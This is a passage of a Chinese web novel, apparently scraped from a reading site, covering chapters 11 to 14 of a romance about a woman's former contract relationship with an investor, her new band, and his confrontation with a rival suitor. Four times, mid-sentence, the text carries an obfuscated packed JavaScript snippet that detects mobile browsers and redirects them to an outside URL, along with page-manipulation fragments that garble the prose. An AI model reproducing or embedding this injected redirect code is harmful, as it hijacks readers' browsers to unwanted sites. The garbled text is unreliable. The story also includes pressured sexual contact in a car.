“不太习惯。”沈泠泠将烤好的肉夹到盘中,坦诚道,“我发现要把一个人的生活过好,其实挺难的。” 周凛眉梢微挑:“是么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459213|169674||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “在国外时刷小红书,总看到别人把家里布置得温馨整洁,每天还能下厨做饭。”她轻轻摇头,“现在才发现没那么简单。” 周凛视线不禁温柔起来:“你要是想学,慢慢也会做好。” “我不怀疑这一点。”沈泠泠说,“我只是想说,我以前就觉得独立生活很简单,现在才发现并不容易,所以我很佩服那些光凭自己就能生活得很好的人。” 沈泠泠工资在国内算上中上游,租的房子不说很好,但也绝对不能说差,连平常人上班的“交通”都没有。 连做饭和打扫都外包了。 可经过诸如漏水、疏通管道等等事情,她还是发现,生活没那么容易。 张阿姨做菜是个熟练工,她每次看张阿姨,挑菜带回来洗涮切炒炖煮都是一番功夫。 还不说之后的整理厨房。 总之要是全部一个人做的话,真的蛮辛苦。 她说的生活得很好不是指赚到钱,而是一个人能把生活打理得井井有条,就很厉害了。 沈泠泠正出神地想着,忽然感觉脸颊被轻轻弹了两下。 她猛地回神,下意识往后一缩,才看到周凛的手还悬在半空,他的胳膊越过铜炉,特地来弹她的脸。 “你……”她蹙眉。 周凛低笑:“没什么,就是想碰碰你。” 她出神的样子很可爱,而且会那么认真地尊敬那些好好独自生活的人。 沈泠泠:“……”真是有点无赖。 烤肉的热气在两人之间氤氲,周凛望着她笑意足足在唇间停留好几秒。 沈泠泠喝了口解腻的小麦茶,问:“周凛跟我在一起你不会认为浪费时间吗?” 周凛挑眉:“什么?” 如果是正常谈恋爱也就罢了,但像今天中午这样,他分明等了很久。以他工作的繁忙程度,这时间本可以做很多更重要的事。 “投资的工作是耐心,谈恋爱也是一样的。值得等的人等多久都不为过。”周凛说,“顺便,我想说,这两年我没有过其他女人。你呢。”他直视着她的眼睛,“我打听到你没有谈恋爱,但有没有过别的男人?” “这个对你很重要吗?”他们契约结束,她没有为他守身如玉的规定。 “很重要。”周凛直言不讳,“理智上,我并不在意你的贞洁,你要是跟谁在一起都是你的自由。感情上,我很介意有没有人碰过你。说得更直白些,我希望你这辈子只属于我一个人。” 停了两秒,周凛又说:“你不想回答可以不回答。不希望发生不代表我不能接受发生。这是两回事。” 11. 回国(11) #chapter11 沈泠泠果决地说:“我不想回答。” 周凛目光沉静地注视着她,片刻后颔首:“好。” 这顿饭吃了近一个半小时。 周凛问:“下午有没有什么安排?一起去看电影?” “不想去。”沈泠泠摇头,“我打算回家。” 开下午两点了,天气燥热。 车停在树荫地下。 绿叶在车顶落下斑驳光影。 蝉鸣声响亮。 沈泠泠绕到车另外一边,正要拉开门。 周凛忽然快步走近,从身后一把抱她起来,塞进车后座,随即欺身压上,关上车门。 “你干什么?”沈泠泠的手抵在他胸膛。 “不做别的。”周凛的呼吸喷在她耳畔,“亲一下总可以吧。” 深色的遮光膜将外界视线隔绝,逼仄的后座顿时成了与世隔绝的方寸之地。 周凛的体温透过衬衫传来,沉甸甸的重量让沈泠泠真切感受到成年男性的压迫感。 周凛掐住她的腰,唇试图下移,贴她的唇。 沈泠泠挪开脸:“为什么不在外面?” “有碍市容。”周凛调侃,鼻尖蹭过她的脸颊。 沈泠泠现在也不知道他们是什么关系。契约情人关系结束后,还没到正常的恋爱关系,可若是完全没关系,那又是自欺欺人—— 她若真的坚守,今天也不会跟他出来。 周凛亲吻她的唇、腮边,即便两个人身上还算有些火锅味,然而成年男女欲望的气息更重。 “你怎么总是……”沈泠泠的话被压得断断续续。 “我这个年纪要是没反应,难道要等到六十岁?”周凛低笑,胸腔的震动直接传达到她身上,仿佛她问了个极其有趣的问题。 “我不是这个意思。” 她的意思是,像他这样需求旺盛的人,为何能空窗两年。 今天的对话,与其说是试探她的情史,不如说是他刻意在表明——这两年他一直在等她。 依靠他的条件,找个女朋友很简单才对。 不仅是王薇,连他办公室有个女下属都喜欢过他。 曾经沈泠泠无意间见到她晚上给周凛微信里发了张照片。 那张照片极为性感,肌肤雪白,胸口浑圆,即便连同为女性的沈泠泠也有一瞬间的动心。 沈泠泠直视周凛的眼睛。 周凛有双极其好看的眼睛,双眼皮是前窄后宽的扇形,弧度流畅。 甚至都可以有点算桃花眼,可又因为眼眸漆黑,眼神专注,反而多了一层庄严和严肃。 他们晚上经常在一块儿,以这种姿势,故而对视的时间非常多。 平常人跟人会直接对视的时间是不多的。 人会在一块儿说话,但经常目光会瞥在别的地方。 周凛经常这样直接看着她,居高临下的,将他的视线沉沉地落进她眼睛里,好像不仅身体,也要看进她心里去。 “让我摸一摸……”周凛低喃,带着几分压抑的恳求,他鼻尖蹭着她鼻尖,意有所指的说,“你真的不想我吗?我可是很想你……” 私下时,周凛不仅喜欢开她玩笑,还很喜欢说露骨的话。 车内温度似乎又升高了几分。 沈泠泠任由他摸着,过一阵才推动他双肩提醒:“好了吧?” 再下去,就要控制不住。 周凛叹息,不是出自喉咙,而是鼻腔,气息悠长:“我车里连保险套都准备好了。” “……”她只是答应出来吃饭,没答应出来上床。 更何况还是在车里。 但周凛不是会强迫人的类型,他起身松开她,整理着微皱的衬衫领口,在后座静静坐了片刻,才推门出去。 车内还残留着周凛的气息,混合着淡淡的柑橘味香氛——她上次就闻出来了。 沈泠泠留在后座没动,仔细整理衣服。 行驶了五六分钟,周凛透过后视镜看她:“困了就睡会儿。” “不困。” “怕我趁你睡着做什么?” ……又在逗她。沈泠泠心道。 车停在她小区楼下。“不用送了。”她正要推门,突然听见周凛唤她:“沈泠泠。” “我最近事情比较多,所以来找你时间比较少。不过每次跟你在一起我很放松。希望你也是如此。”顿了顿,“希望我没有困扰到你,也不用产生必须给我回应的压力。” 沈泠泠的手停在车内门把上,垂下眼,过两秒才回:“好。” 夏日午后的电梯缓缓下行,金属门无声滑开,露出空荡荡的电梯间。 沈泠泠走进去,按下20层的按钮。 电梯里的冷气扑面而来。 周凛很强势,还是那种先声夺人的强势,找到机会就一定会直接行动,不做犹豫。 但又懂得拿捏住分寸,很擅长谈判。 从第一次谈交易就这样。 那是她第一次主动联系他,只发微信问一句:我家的事,你是否可以帮忙? 其实她不算太抱有期待。 沈家的摊子太大了,没什么人能够帮,就算帮,也是杯水车薪。 周凛的回复很简单:“见面聊。” 让她意外的是,他没有像其他人那样把见面地点约在酒店房间——那种暗示再明显不过的邀约。他选的是公司附近的一家咖啡馆,一个周日的下午。 那天阳光很好,沈泠泠坐在靠窗的位置,望着窗外推着婴儿车经过的年轻夫妇。 玻璃窗将街道的喧嚣隔绝在外。 “久等了。”周凛的声音突然响起。他穿着笔挺的西装,落座时习惯性地扣上外套纽扣,“刚开完会。” 沈泠泠转过脸:“没关系。我已经点了咖啡,你要喝什么?” 周凛眼神中有种兴味,仿佛在表示她一点儿也不像有求于人的架势。 他点了一杯卡布奇诺,开门见山道:“如果需要我帮忙,我需要沈氏企业目前的财产明细,这个可以提供吗?” 沈泠泠意外,端详对方的面容。 她以为第一步是讨价还价。 服务员端上来咖啡,给了他们话口一个短暂的间隙,她不用急于回答。 “谢谢。”周凛很有礼貌地说道。 周凛的眼眸是黑色——常常只有这样面对面直视对方眼睛时,才能注意到对方瞳孔的颜色。 又因为他们坐在窗边,他的眼睛被玻璃窗外的光照得很透,像是琉璃的质感。 “你的条件是什么?”沈泠泠问。世界上是没有无缘无故的帮忙的。 “你。”周凛从进来后,视线就没有从她脸上挪开,行动和言语都很直接而明显,“我希望你跟我在一起。” 沈泠泠的指尖在咖啡杯沿轻轻摩挲:“然后呢?”想要她并不意外,很多人都是这个条件。 “给出一个你能接受的最长年限吧。”周凛直截了当说着,“我希望跟你在一起,但并不以你彻底厌恶我为代价。” 沈泠泠审视他,怀疑他的用心和含义,试图从他脸上找出一丝虚伪或算计,却只看到坦诚直接,并无矫饰。 “三年。”沈泠泠试探。 “可以。”周凛答应得干脆利落,“我会拟一份合同。虽然法律效力有限,但能明确我们的界限。”他顿了顿,“合同生效时间定在解决完沈家的事之后,这点你大可放心。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459214|169674||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 那是沈泠泠第一次意识到,同样作为富二代。 周凛为何能突出,不做“败家”的,或者比“败家”好一点——“吃喝玩乐”类型。 沈泠泠自问,她是“吃喝玩乐”类型,否则不至于家里败成这样,她是最后才知道,且毫无挽救的能力。 周凛家里做建筑的,同样也是实业。 然而他很快跟进时代潮流,前几年就停止了家中实业的扩展缩减,现金流为重,创立投资公司,听说投资了现如今如日中天的几家互联网公司,又在布局ai,算是走在时代前列。 原本她是不抱希望来的,然而在对方如此肯定地给出答复后,沈泠泠却犹豫了一个瞬间。 指尖无意识地描摹着白瓷杯沿。 有必要出卖自己吗? 任何事都不值得出卖自己,这是她一直的想法,人世间她总是以自己的规则为重。 周凛视线明显往她手指动作轻轻瞥了下。 没有很绅士地说“你再考虑一下”,也没有胁迫似的说“你要是犹豫之后就没有这种机会了”,而是屏息等待。 可那灼灼视线始终未移,给人极强的压迫感。 “好。”过了漫长的几分钟,沈泠泠终于点头,又忍不住问,“你很喜欢我?” 周凛对她有意思。她知道。 但如果不是特别喜欢她,是不至于这样做的。 “这不是很明显吗?”周凛挑眉,喝了口咖啡,眼神里这时候才露出些心满意足,“我肯定是喜欢你,才会愿意帮你。我本来也可以毫无回报地帮你,但这不是我的作风。要是得不到你的心,我起码得到你的人。” 这个台词,还是沈泠泠第一次在现实中听到,以至于产生某种不真实感。 周凛勾起嘴角,像是在宽慰她:“放心吧。我不会让你做太难堪的事情。” 叮咚一声。 电梯到达二十楼,沈泠泠走近房间。 她刚开始并不喜欢他的……她与徐庭交往期间,周凛始终保持着得体的距离。那时她就察觉到他若有似无的目光,却从未放在心上——喜欢她的人实在太多了。 她不会注意到所有人。 直到徐庭离世,她将自己封闭起来,而后又遭遇父亲的变故…… 钥匙插入锁孔,发出轻微的咔哒声。 沈泠泠推门而入,客厅里静得能听见冰箱运作的嗡鸣。 她记得很清楚,周凛解决完沈氏企业这件事后,沈泠泠也如约搬进了他给她准备的公寓。既然他做到了他答应的事情,那么她也要做到。 第一天晚上周凛就发微信说说会过来。 这个含义很明显。 沈泠泠提前洗好澡穿好睡衣等待,夜幕降临,她抱臂站在窗口前很久,看着自己在蓝黑玻璃墙面上的影子。 咔哒一声门响。 周凛回来,他径直走到她身后,双臂环住她的腰身,温热的呼吸拂过她耳际。 下一秒,她就被打横抱起。 那之后三天他们都没出门。 时至如今,她从未后悔过自己的决定。 可,一个人跟没有情感基础的男性上床,哪怕对方高大英俊,那种感觉也并不好受,尤其周凛的目光很贪婪地将她每一寸都翻来覆去看。 上床如果不带着爱意,其实很动物性。 令人觉得跟电视上播出草原上□□的野兽并无不同,那种纯粹本能的碰撞。 而且她不能拒绝他的需求,只要不是太过分,她都应该尽量满足。 这是契约。 来了条微信。 阿乐:明天有时间吗?我们乐队成员想跟你见一面。 沈泠泠低头,手指飞快打字:好。 12. 回国(12) #chapter12 沈泠泠在国内的那段日子,给自己的定位很明确——做个称职的情人。 所以她并没有出去找工作。 业余时间参加了一些音乐竞赛拿奖,为职业生涯做准备。 她查过资料,像她这种学古典音乐出身的,要么进乐团,要么当老师,选择实在不多。 有一天在网上闲逛时,她偶然看到一个乐队在招编曲。 吸引她的是乐队头像——莫奈的《睡莲》。 她很喜欢这副画,印象派。 这支叫STAY的摇滚乐队似乎总在换键盘手,还一直在高价求编曲。 最特别的是,他们每次演出都会戴着头套,要么是纸盒,要么是熊猫头,就像美国那个神秘DJ棉花糖一样。 虽然学的是古典音乐,但沈泠泠对现代音乐也很感兴趣。 她听了STAY乐队的几首歌,发现成员们功底扎实,风格热烈奔放,一直关注。 契约结束,她飞去美国。 她父亲沈齐当年突发心脏病、脑梗,又被查出肝癌。 癌症扩散很快,到了晚期,基本没有救治手段,很早就去国外的医院尝试TCR-T细胞疗法。这个疗法也被喻为天价疗法,将近五百万一针。 好在父亲对这个疗法反应不错,病情有所好转,但还需要住院处理其他并发症。 母亲请了护工,自己也一直在医院照顾。 沈泠泠则暂住在美国的姑姑家。 按理说,结束“情人”身份后,沈泠泠该尽快找份正经工作来支撑家用。 离开时周凛给了她一百万“散伙费”。 如今她父亲病情好转,也用不到那么多钱。 这两年她在美国专攻编曲,系统学习了各种流行音乐风格,同时找到以前的钢琴老师去参加一些正式场合演出和竞赛,为履历镀金。 闲暇时,她会教姑姑家的小孙女弹钢琴,权当是积累教学经验。 虽然不确定自己能不能当一辈子钢琴老师,但多一条创作的路总是好的。 有另一条创作的路也是好的。 回国前,她联系上了STAY乐队,想试试键盘手这个职位,同时发了几首自己编曲的作品过去。 对方很满意,约她出来见面。 定的地点是这里的一所大学的教室,之前她就隐隐约约听评论区说过stay成员是国内大学生。 沈泠泠找到约定的教室,赴约前,特意在洗手间戴上了准备好的纸盒头套。 有点中二,但很有趣。 这里大概是社团专用教室,穿着古风和cosplay的人也多,也没什么关注她。 乐队的规矩很简单:新人不用露脸,也不用交代个人信息,先相处三个月,不合适就换。 “咚咚——” “进来。”里面传来清朗的男声。 推门而入,空荡荡的教室里只有音乐设备。三个男生或站或坐,身边摆着各自的乐器。看到戴着纸盒的沈泠泠,他们明显愣了一下——尽管遮着脸,但她的衣着打扮明显是个女生。 盘腿坐在地上弹吉他的阿乐抬起头:“你是林?” 沈泠泠点头。 她在国外以“lin”的名字跟他们联系。 “键盘手吗?”站在话筒架后的徐意朝她走来。他穿着简单的白衬衫配浅蓝牛仔裤,指了指旁边的电子琴,“先试试看。” 钢琴与电子琴虽看似相似,实则是两种截然不同的乐器。 构造不同,音色表现也大相径庭。沈泠泠为此特意练习过电子琴的演奏技巧。 她走向那台雅马哈□□全配重键盘,没有多余寒暄,指尖直接跃上琴键,即兴弹奏起来。 钢琴是纯粹的机械乐器,琴槌敲击琴弦的震动通过音板共鸣,每个音符都因触键力度而千变万化。 而电子琴则通过电子合成模拟各类音色,需要演奏者对音色特性有敏锐的把握。 最后一个音符落下,三个男生交换了个眼神。 外行看热闹,内行看门道。 很多摇滚乐队不设键盘手,但他们坚持要找,就是因为键盘手的水平直接决定乐队的上限。 这个位置在舞台上或许不显眼,却需要对多种乐器音色了如指掌,能根据曲风灵活调整。 “学什么专业的?”徐意问。 阿乐替她回答:“古典乐。” 徐意微微颔首:“难怪手指控制力这么强,节奏处理完美。” 沈泠泠透过纸盒的缝隙注视着徐意。 她没想到会在这里遇见他,看站位应该是主唱。 现在她明白为何乐队会用莫奈的《睡莲》做标志——徐庭生前也最爱这幅画。 Stay乐队之前还在twitter上翻唱了Kodaline的《Brother》。 “我们考核很简单,直接舞台见真章。”徐意双手插在牛仔裤口袋里,“下周五livehouse有演出,合适的话就按四分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459215|169674||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之一分成。”他顿了顿,“不合适也给一万出场费,如何?” 以Stay乐队现在的名气,一场小型演出总收入未必能达到四万。徐意开出的条件,实在慷慨。 沈泠泠轻轻点头。 “你是不能说话吗?”徐意忽然问道。 她掏出手机,快速输入三个字,按下语音朗读键。机械的女声从扬声器传出:“不想说。” 这回应逗乐了三人。徐意嘴角扬起:“有个性,我喜欢。现在要一起排练吗?” 沈泠泠再次点头,走向键盘。 乐队的配置比她想象的更专业——徐意外形出众,嗓音条件极佳,既是主唱又兼吉他手,显然是团队核心。 更重要的是,他舍得投入。 很多小乐队连20元一小时的练习室都租不起,更别提购置优质乐器。 阿乐是贝斯手,另一个叫“麻”的是鼓手。三人风格都偏狂放,确实需要键盘手来平衡整体效果。 “先试试lin投稿的那首吧,”阿乐挎上贝斯,“我觉得很棒。” “没问题。”徐意爽快答应。 四个人合奏的效果出奇地好。 键盘手既是拔高又是托底的角色,越是厉害越能配合良好。 中场休息时,三个男生结伴去了洗手间。 徐意拧开水龙头,清凉的水流冲刷着手指:“你挖来的何方神圣,不会是什么业界大拿吧,总感觉什么都会?” “纯新手。”阿乐抽出纸巾擦手,嘴角挂着笑,“之前加我微信还说有很多问题要请教呢。不过基本功确实扎实,编曲还专门去进修过。” 水流声止,徐意甩了甩手上的水珠:“电子琴能玩得这么溜,还能精准模拟不同乐器的音色,没点功底可做不到。” “钢琴、手风琴、吉他、小提琴应该都精通。”阿乐补充道,“更绝的是,她英语、法语、德语都很溜。” 徐意挑眉:“法语和德语?” “说是为了研究古典乐大师的原著,专门去学的。”阿乐把揉成团的纸巾精准投进垃圾桶,“牛吧?” 徐意难得露出赞叹的神色。 乐队招募向来是阿乐负责,微信上都会仔细筛选。 这个“lin”是很早之前就联系过的,他当时没太在意,以为又是哪个自命不凡的大学生。 国内学音乐的人不少,但即便是流行音乐,想要玩出水平也绝非易事。 没想到对方是个女生,更没想到,实力远超预期。 13. 回国(13) #chapter13 天高云淡。 周凛正跟爷爷周正在六角亭里喝茶。 紫檀木茶案上,茶壶正冒着袅袅热气,茶香在空气中缓缓流淌。 相比于王家的湖景别墅,周家的宅院则是纯中式的庭院。 亭台楼阁,飞檐翘角。 周正身着靛青色长衫,银白的发丝一丝不苟地梳在脑后。 他布满皱纹的手稳稳端起茶盏,精神矍铄。 周正出民国,父亲曾是私塾先生,事至如今保留着旧时文人的习惯。 幼时原本还打算考科举,却在时代洪流中转向商海,创立了如今的建筑集团。 “你也不小了,我像你这么大,孩子都生了两个。”周正开口。 周凛莞尔,每次他来,他爷爷都是这副说辞,他拿过他爷爷的新宠荣昌陶制茶壶,给他倒了一杯茶:“婚都没结哪来的孩子,就算是结了婚,想不想生孩子还得问对方的意思。又不是我一个人做主。” 周正缓缓吹了口茶水上的热汽:“我是不懂你们年轻人。” 他忽地想起什么,又问:“跟那个沈小姐还没断?” 周凛掀起眼皮,抬眼望向远处的网球场,母亲林平正与王薇挥拍打羽毛球。两个人说说笑笑。 “王小姐哪里不合你心意?”周正追问。 “什么时候我们家需要联姻了?”周凛揶揄说。 “不是联姻。门当户对对你有好处。结了婚你才好收心,才回来好接管公司。”周正放下茶杯。 “我自己的公司做得不好么?给您丢脸了?” “不是这个问题。投资金融,都是虚的,账面上的数字。”周正靠回藤编摇椅,双脚踩在踏板上前后摇晃,眯起眼睛望向远处的假山,“我问你,要是你公司倒闭了,是不是什么都没有,数字一眨眼就消失不见了,但实体产业不同,厂房、设备、货物,都是实实在在握在手里的。” “我承认您的观点有一定道理。”周凛轻轻转动手中的陶瓷杯,“但在数字时代,真正的资产终将数字化。况且,”他抬眼直视祖父,“若实体货物失去市场需求,握在手里又有何意义?” 周正精锐的目光转向他:“我知道你们现在年轻人都想走在最前面。但,你要记得,你的成功除了你个人的因素,也跟时代脱不了干系。”他突然停下摇椅,锐利的目光如鹰隼般锁定孙子,“你正好采到了这波浪潮,不要把时代的红利归结为个人的成功。” 周凛慢慢饮了一口茶,爷爷说的话其实不算错。 他确实算赶上了好时候。 “我昨天还看那股市,一会儿上一会儿下,跟赌博一样——我年轻时为了股市倾家荡产的人还少吗?永远不要以为自己能站在时代的风口浪尖上做弄潮儿,好好踏踏实实地做实体产业。” 周凛没有辩驳:“好。接受爷爷教诲。不过更正一句,我不是炒股,我是投资。投资投的也是实体。车、新能源、手机、AI机器人、app……都是实体,不是只有吃穿住行才是实体。而且我们做的是让实体生产、流动起来。” 周正还没说话。 王薇拎着网球拍走来,白色运动裙随着脚步晃动,露出两条雪白长腿。 “林阿姨体力真好,我都追不上了。” 周正回过头,露出慈祥笑容。 周凛扫了她一眼:“聊聊吗?” “好啊。”王薇大方地说。 两人沿着网球场边缘的草坪漫步,脚下是松软的草皮。 周凛开门见山:“我和沈泠泠的事,是你告诉爷爷的?” “她在我家做家教,我就随口提了一句。” 王薇手中的网球拍轻轻划过草尖,草叶发出细微的沙沙声。她歪着头看向周凛,“我问她你有没有联系她,她说有。怎么,你还吃回头草啊?” 王薇的语意既像是试探周凛,又像是告状。 仿佛沈泠泠在说谎贴关系。 “我确实主动她。”周凛停下脚步,特地停下来跟王薇说,“还专程去你家找过她,你不是知道么?” “我还以为你是来找我的呢。”王薇开着玩笑,“谁能想到你是去找她的?” 周凛转过身,阳光在他轮廓分明的侧脸投下深浅不一的阴影。 他好整以暇地看着她:“你为什么会认为我是去找你的?” “毕竟我们相过亲。你爷爷也挺满意我的,我以为你想要发展一下呢。” “但按理来说,我的话说得很清楚。上次吃饭只是因为给我爷爷一个面子。”周凛目光如炬,“你是个很聪明的女孩,不会听不懂我的意思吧?” “正因为我听懂了才要有所表示啊。我并不是那种只能等男人率先对我表示好感的传统女性。”王薇不躲不闪地迎上他的视线,“周凛,我问你个问题,你究竟看上沈泠泠哪点了?换言之,就算你喜欢她的长相,三年也该玩腻了吧?” “玩?”周凛细细品味这个字眼,眉头几不可察地皱了一下。 他以为这个字眼不会出现在一个接受过良好教育的现代女性嘴里。 “我确实喜欢她的长相、性格、身材。”他慢条斯理、一字一句地说,“而且从不觉得腻。” 王薇眨了眨眼睛。 周凛将话题拉回她身上,好奇地问:“如果你认为我只是喜欢‘玩’女性的类型,为何又追求我呢?我喜欢‘玩弄’女性,反而符合你对于丈夫的标准?” “我不是这个意思。”王薇误以为‘玩’这个字眼伤害的是周凛,在说他是个好色之徒,“首先,你很厉害,其次,你在我圈子里已经算洁身自好的类型了,实际上男人有几个女人挺正常。” “哦?”周凛还是第一次听到这种论调。 “所以说你还不了解我。”王薇继续往前走,“我这个人很大方的。” “对丈夫?”周凛跟上她。 “当然。”王薇毫不犹豫地回答,“一个人要为另一个人永远守身如玉太难了,尤其是面对那么多诱惑。”她突然轻笑一声,“我要是男人,也会想要三妻四妾。” 周凛还是第一次见到能够这么彻底代入男性的女性。 看来她并不认为忠贞是一种美好的品质。 “所以,”王薇停下脚步,转身直视周凛,“我可以接受丈夫有情人,婚前婚后都一样。”她的语气像是在谈论一场商业合作,“重要的是把握好分寸——别闹出丑闻,别搞出私生子,别把麻烦带回家,更不要损害整体利益。” 周凛眯起眼睛:“所以在你看来,婚姻只是一场利益交换?” 王薇转身问:“你不这么认为吗?” 周凛没有告诉她他的答案:“那你选择我,是看中我的赚钱能力?” “你有能力,而且品行过关,我不需要一个见到美女就昏头昏脑的人。” 周凛忽然低笑出声:“那我对沈泠泠,难道不算昏了头?”毕竟若论“包养”,几百万就能解决的问题,他却为沈泠泠收拾了整个沈氏的烂摊子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459216|169674||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 王薇轻描淡写地拨弄着网球拍的网线:“沈氏对你肯定有利可图吧?毕竟是老牌企业。瘦死的骆驼比马大。”她抬眼看向周凛,唇角挂着洞悉一切的笑意,“我倾向于你双赢?” 原来她是这么认为的。 周凛甚至觉得好笑。 看来很少有人会相信他纯粹就是愿意帮沈泠泠。 而且从这句话就知道她压根不懂商业。 沈氏确实是瘦死的骆驼,但前提是它还没死透。 周凛接手时,沈氏已经濒临破产边缘——连最底层的工人都听到风声,聚集在公司门口讨薪。 当整个产业链最末端的工人都知道企业要倒闭时,这种时候入局还能分到什么残羹冷炙? “所以你认为我是骗了沈泠泠?” “倒也不是。”王薇摆弄着网球拍,语气轻快,“她主要还是想维持体面生活,不想被人看轻吧。” “当我的情人就很体面?” “至少不用沦落到去商场卖衣服,或者餐厅端盘子。”王薇不假思索地回答。 周凛点点头,双手背在身后。 他之前对王薇的第一印象是这个人蛮骄傲的,他对于这种大小姐作风敬谢不敏。 当初寥寥聊了几句就走了。他有自己喜欢的人,其余人并不感兴趣。 但今天,倒是第一次真正看清了她的想法。 看来王薇是特意来找他“交心”,展示自己的“开明大度”。 “沈泠泠现在是在你家做家教?”周凛突然话锋一转。 “是啊。”王薇点头,对他的明知故问感到困惑。 “那你凭什么断定,她家道中落后会去卖衣服或当服务员?” “这份家教还是我安排的。”王薇以为周凛不知情,语气中带着施舍的意味,“毕竟相识一场。她通过王琪来找我,我总得给这个面子。” “那是你说服你嫂子要她的吗?”周凛继续问,语调平静。 王薇怔了怔。 “如果我料想的不错,你应该只是转发了一个简历吧?据我所知,你嫂子刘之玲是个很在意孩子教育的人,如果沈泠泠不学无术,那么就光凭你的面子,你嫂子会聘请她吗?”周凛盯着她又问,“你是不是连沈泠泠的简历都没点开看过?” 周凛猜得很准,王琪跟她说这件事,她也只是随便答应,当即转发简历给刘之玲就没管了。 “但这跟她爱慕虚荣有什么关系?”王薇攥紧网球拍,“会弹个钢琴很了不起吗?” “确实没什么了不起。”周凛背光而立,高大的身影将王薇完全笼罩。他眼神冰冷,不带一丝温度,“但至少证明她能自食其力。”他忽然话锋一转,“倒是你,我很好奇,如果有一天王家倒了,你能做什么?” 王薇胸口剧烈起伏:“你什么意思?” “只是个假设。”周凛的声音轻得像在讨论天气,“既然你看不起售货员和服务员,想必也不会选择这些工作。” 周凛想过,如果不是沈家亏欠太多人,如果不是沈泠泠父亲沈齐的病。 沈泠泠就算不会弹钢琴,她也不会选择当他的情人。 她会宁愿去当服务员,因为她不会看不起服务员。 而王薇—— “或许,你会更急切地寻找下一个''依靠''。”周凛淡淡道。 王薇猛地抬头,逆光盯着周凛,牙关轻颤。 这是她人生第一次被人当面羞辱,以至于无法克制地气得浑身发抖。 14. 回国(14) #chapter14 王薇的手指在身侧蜷缩又松开,很想抬手扇他一巴掌。 面前的周凛高大帅气,阴影落在她身上,一双深黑微微俯视着她。 可打了反而显得被说中了,像个泼妇。 他们之间更没可能。 王薇尽量让自己显得游刃有余,环臂轻笑:“所以你看不起我,认为我比不上她?” “我没这么说。”周凛语气平淡,可那双黑眸里的含义再明显不过。 王薇轻笑出声:“看来男人都容易被这种小把戏迷惑。才艺不过是取悦人的手段罢了。”她拢了拢头发,“只要有钱,什么学不会?但我从不屑于取悦任何人。” 原来在她眼里,才艺只是取悦的工具。周凛恍然,难怪她什么都学不精。 他点点头,不再多言。 王薇总觉得心里头憋了口气,“总有一天,”她上前一步,“你会知道我真正的价值。” “好。”周凛弯起嘴角,“我拭目以待。” 王薇终于意识到这场对话已无意义,扭头离去。 他向来精心构筑自己的生活——严格筛选的下属与朋友。即便每两周回一次周家,也多是陪爷爷下棋谈心。虽然常有分歧,但在大势判断上总能达成共识。 爷爷过去的经验也让他受益匪浅。 这是第一次,有人仅仅通过一场谈话,就让他感到如此难以忍受。 跟这样话不投机的人结婚,怎么可能? 周凛跟爷爷和母亲简单道别后,径直走向停在周家大院外的宝马。 坐进驾驶座,他没有立即发动车子,而是拿起手机,拨通了沈泠泠的电话。 要是发微信,她未必会回复。 他迫切地想要听到沈泠泠的声音。 忙音响过五声后,那边传来慵懒的“喂”,周凛一听不自觉笑起来。 他将手机放在支架上,左手握住方向盘,右手戴上蓝牙耳机。 不远处,王薇也正走向她的保时捷。她远远地瞪了周凛一眼,气冲冲地钻进车里。 周凛只是淡淡地瞥了一眼就收回视线,发动车子驶出周家大门,全部的注意力都集中在电话那头的沈泠泠身上。 “你在哪?”周凛问道,声音比平时柔和许多。 “在家。刚睡醒。” “我打扰你了吗?” “没。我也睡得差不多了。” 车子驶出不远就遇到红灯。 周凛侧头,发现旁边车道停着的正是王薇的保时捷。 她正看着他。 他视若无睹,继续对电话那头的沈泠泠说:“今天我来见爷爷,碰到了王薇,她说了个非常有趣的观点。”他的语气带着几分玩味,“她认为我当初跟你在一起是''双赢'',说我既得到了沈家公司的利益,又得到了你。我没想到还有这种解读,特地想跟你说一下。” 电话那头沉默了一瞬,然后传来沈泠泠平静的声音:“沈家后面已经没什么资产了。你没有从中牟利。” “你不认为我会私吞?”周凛饶有兴致地问。 